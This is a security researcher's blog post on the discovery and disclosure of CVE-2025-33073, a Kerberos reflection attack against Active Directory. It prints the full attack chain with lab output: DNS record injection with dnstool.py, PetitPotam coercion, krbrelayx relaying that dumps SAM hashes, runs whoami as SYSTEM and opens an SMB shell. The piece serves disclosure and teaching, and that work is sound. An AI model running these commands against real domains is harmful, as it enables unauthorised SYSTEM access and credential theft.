The Birth and Death of “LoopyTicket” – Our Story on CVE-2025-33073

Sometimes the best discoveries happen when you’re not even looking for them. While RedTeam Pentesting and Synacktiv have already published excellent technical breakdowns of the Kerberos Reflection attack, I wanted to share the messier, more human side of the story: how CVE-2025-33073 went from a confusing home lab accident to a critical vulnerability that would eventually affect Active Directory environments worldwide.

When starting this journey, the GuidePoint Security team was seeing clients deprecating NTLM authentication. Meanwhile, I was developing offensive tradecraft for our team on my test systems to ensure we were ready for any related Kerberos relaying attacks. During this work, I had set up a Ludus environment with a single Domain Controller (DC) that also hosted Active Directory Certificate Services (ADCS). I know configuring an ADCS on a DC isn’t best practice, but it was a lab environment, so it was fine.

The Initial Setup

Here’s where things got interesting. I was developing documentation related to Kerberos relaying by combining the James Forshaw’s CREDENTIAL_TARGET_INFORMATION structure and Synacktiv’s/dirkjanm’s poisoning tactics for Kerberos relaying. The premise seemed straightforward:

• Create a Domain Name System (DNS)record with a magic string appended to the end of the hostname (1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA).

# python3 dnstool.py -u "HOME\\domainuser" -p "password" -r "htp-dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.2.10.11" --action add "10.2.10.10" --tcp

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

• Coerce a host (I used PetitPotam, but you can use your favorite coercer).

# python3 PetitPotam.py htp-dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA HTP-DC01.hack-the.planet -u domainuser -p password -d hack-the.planet

Trying pipe lsarpc
[-] Connecting to ncacn_np:HTP-DC01[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

• Relay the request like NT LAN Manager (NTLM) relays using ESC8. See the example here:

# python3 krbrelayx.py -t 'http://HTP-DC01/certsrv/certfnsh.asp' --adcs --template KerberosAuthentication -v 'HTP-DC01$'

[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.2.10.10
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.2.10.10
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./HTP-DC01$.pfx
[*] Certificate successfully written to file
[*] Skipping user HTP-DC01$ since attack was already performed

The Unexpected Discovery

While I was working on this, I was relaying to my DC to get the coercion portion of the technique down. I thought once I got the coercion technique down (meaning the PetitPotam/pretender with the DNS record), and I saw a failure on the relay to self, then I’d work on standing up a separate Active Directory Certificate Services (ADCS) server.

Then, something completely unexpected happened. The authentication succeeded, and I watched as the Security Accounts Manager (SAM) hive dumped from the domain controller. I stared at my terminal, thinking, “Wait, that definitely shouldn’t have worked.”

# python3 PetitPotam.py htp-dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA HTP-DC01.hack-the.planet -u domainuser -p password -d hack-the.planet

Trying pipe lsarpc
[-] Connecting to ncacn_np:HTP-DC01[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# python3 krbrelayx.py -t 'HTP-DC01'

[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80

[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.2.10.10
[*] Target system bootKey: 0x57d913207ed6f2abf98c09eff17d2988
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Done dumping SAM hashes for host: htp-dc01​

I was in disbelief. This absolutely shouldn’t be working—reflection attacks were supposed to fail, they have been patched for Server Message Block (SMB) since 2008. I called a colleague (shoutout Connor Dowling) to attempt this same tactic on his DC to make sure it wasn’t a fluke. Connor ran the same attack in his environment against a DC without SMB signing and the authentication was successful, and the SAM hive dumped. Connor’s confirmation was crucial—this wasn’t just some weird quirk in my lab setup. We were looking at something that could work across different environments.

The SAM hive on a DC is not useful, however, it does show a level of access that we did not expect so we executed ‘whoami’ to identify the current user. 

# python3 PetitPotam.py htp-dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA HTP-DC01.hack-the.planet -u domainuser -p password -d hack-the.planet

Trying pipe lsarpc
[-] Connecting to ncacn_np:HTP-DC01[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# python3 krbrelayx.py -t 'HTP-DC01' -c whoami

[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80

[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.2.10.10
NT AUTHORITY\SYSTEM

That’s when it hit me – I might have stumbled onto something big. But it was only going to get noticed if I could exploit member servers, as most DCs will have SMB signing required enabled (default setting). That sent me down a rabbit hole. I spent the next few nights troubleshooting, determined to figure out if this could work against member servers too.

Expanding the Attack Surface

The issue I kept running into was that member servers would negotiate using NTLM when I relayed to the same server. But then I noticed something weird about ServicePrincipalNames (SPNs) that I still can’t explain.

If a host had any Common Internet File System (CIFS) or HOST SPN that was not the same as its NETBIOS name, the reflection attack was successful without modifying krbrelayx from dirkjanm (foreshadowing). The moment the CIFS/HOST SPN matched the NETBIOS name, the host began negotiating with NTLM even though GPOs stopped it from passing outbound NTLM.

As an example, if the NETBIOS name for a host is HTP-SQL and if that host has a CIFS or HOST SPN named CIFS/HTP-SQL2 (or anything not identical to the NETBIOS name) the reflection attack was successful. As a caveat, the DNS record must be created so that the record matches the SPN of the host and not the NETBIOS name.

So, in the following example, you would use HTP-SQL21UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAA instead of HTP-SQL1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAA. I also had to create a local DNS entry, so my host knew to relay to the target and not back to my machine.

PS C:\> setspn -S CIFS/HTP-SQL2 HTP-SQL
# python3 dnstool.py -u 'DOMAIN\domainuser' -p password -r 'HTP-SQL21UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -d 10.2.10.15 --action add 10.2.10.10 --tcp
# echo "10.2.10.12 SQL21UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.hack-the.planet.com" >> /etc/hosts

Once the SPN was set and the records created, the reflection attack was successful.

# python3 PetitPotam.py -u domainuser -p password -d hack-the.planet HTP-SQL21UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA HTP-SQL.hack-the.planet
Trying pipe lsarpc
[-] Connecting to ncacn_np:HTP-SQL.hack-the.planet[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# python3 krbrelayx.py -t 'HTP-SQL21UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.hack-the.planet’ -i
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.2.10.12
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000

Quick Note: Thanks Brandon Rossi (C0nd4) for implementing -i in krbrelayx.py. This saved me from having hashes raining on my screen constantly. It also provided a different capability for writing beacons to a host instead of dumping SAM, which could be detected by an EDR. I still had to execute the beacon with -c, but this was safer than getting every host quarantined immediately.

At this point, I could successfully perform a reflection attack to a DC without SMB signing required and any member server/workstation with an SPN that didn’t match the NETBIOS name and SMB signing as not required.

Making It Practical for Real Engagements

I had all the technical pieces working, but the pentester in me kept asking: in a real engagement, how would an attacker get to this point? What permissions would they need? So, I investigated the minimum rights required as a domain user to write an SPN to a member server. There is a permission named Write ServicePrincipalName but you will most likely encounter WriteProperties permissions first. This would mean that any user that has the WriteProperties permission on any member server could get elevated code execution as SYSTEM on that server and if for some reason, the DC has SMB signing as not required, you can get an elevated code execution on a DC.

I realized the DNS record creation requirement could be bypassed with mitm6/pretender or responder but creating the record was simpler in my lab environment. As a seasoned pentester, it’s uncommon for me to encounter a network environment that denies basic DNS record creation for domain users. Therefore, this felt like a realistic attack path. Some environments even allow it without credentials (shoutout to dynamic DNS updates).

It was at this stage that I felt ready to issue the vulnerability to Microsoft. I had a full compromise tactic for DCs and member servers with a few prerequisites, so I submitted both tactics to Microsoft. I originally saw both issues as the same root cause, but two different paths since a DC had different prerequisites than a member server.

It should be noted that I wanted to call this attack LoopyTicket to have a catchy name like BadSuccessor or PrintNightmare, but RedTeam Pentesting/Synacktiv beat me to it. LoopyTicket will always hold a special place in my heart—even if the security community never got to hear that name.

When Microsoft originally notified me that the issue was patched and assigned CVE-2025-33073. This was my original prerequisite for the exploit chain.

Original Attack Prerequisites and Surface

The Kerberos Reflection attack require several conditions to be exploitable:

• Network Access: Attackers need network connectivity to target systems. 
• Domain Credentials: Valid domain user credentials for initial authentication, DNS record creation, authentication coercion, and potential ServicePrincipalName (SPN) manipulation/querying.
• SMB Signing Disabled: Target systems must have SMB signing disabled or set to “if negotiated” 
• Coercion Capability: Methods to force authentication attempts from target systems which are available for all Windows Servers including Server 2025 with the addition of efsr_spray to Netexec.
• DNS Manipulation: Ability to create or modify DNS records for relay redirection. This is default in most environments.

When I reviewed Synacktiv’s blog, I realized I missed an issue with the krbrelayx tool that made me go down the SPN rabbit hole. If I had informed the relayed host that NLTM was not supported, the reflection attack would have worked from the start. So, with this change to krbrelayx, the prerequisites and my research for the SPN manipulation were no longer required.

Revised Attack Prerequisites and Surface

The Kerberos Reflection attack require several conditions to be exploitable:

• Network Access: Attackers need network connectivity to target systems. 
• Domain Credentials: Valid domain user credentials for initial authentication, DNS record creation, authentication coercion.
• SMB Signing Disabled: Target systems must have SMB signing disabled or set to “if negotiated” 
• Coercion Capability: Methods to force authentication attempts from target systems which are available for all Windows Servers including Server 2025 with the addition of efsr_spray to Netexec.
• DNS Manipulation: Ability to create or modify DNS records for relay redirection. This is default in almost every environment.

Lessons Learned and Disclosure

I had a lot of fun researching this “Reflection” attack and will humbly stand next to some giants in this industry. I wrote this blog to help people understand how I came to submit my research to Microsoft, but more importantly, to hopefully inspire others to trust their instincts when something weird happens in their labs. Sometimes that ‘glitch’ is actually a feature—or in this case, a critical vulnerability waiting to be discovered. Build that home lab, document everything, and don’t dismiss the unexpected results. You might just stumble onto the next big thing.

Thanks again to Connor Dowling, Brandon Rossi, George Raileanu, and Alberto Rodriguez for all the help along the way. Hack the Planet!

Improve Your Defenses Against Any Adversary

From traditional vulnerability assessments and penetration tests, to advanced services, such as red teaming, social engineering, and continuous penetration testing, breach, and attack simulation, GuidePoint Security enables you to test your defenses against any type of adversary.

Contact us today to gain a trusted advisor that works side-by-side with your team to improve your security outcomes.

---

_{This research builds upon the foundational work of security researchers at Synacktiv and Google Project Zero and the broader security community. All techniques described should only be used in authorized testing environments with proper legal authorization and scope documentation.}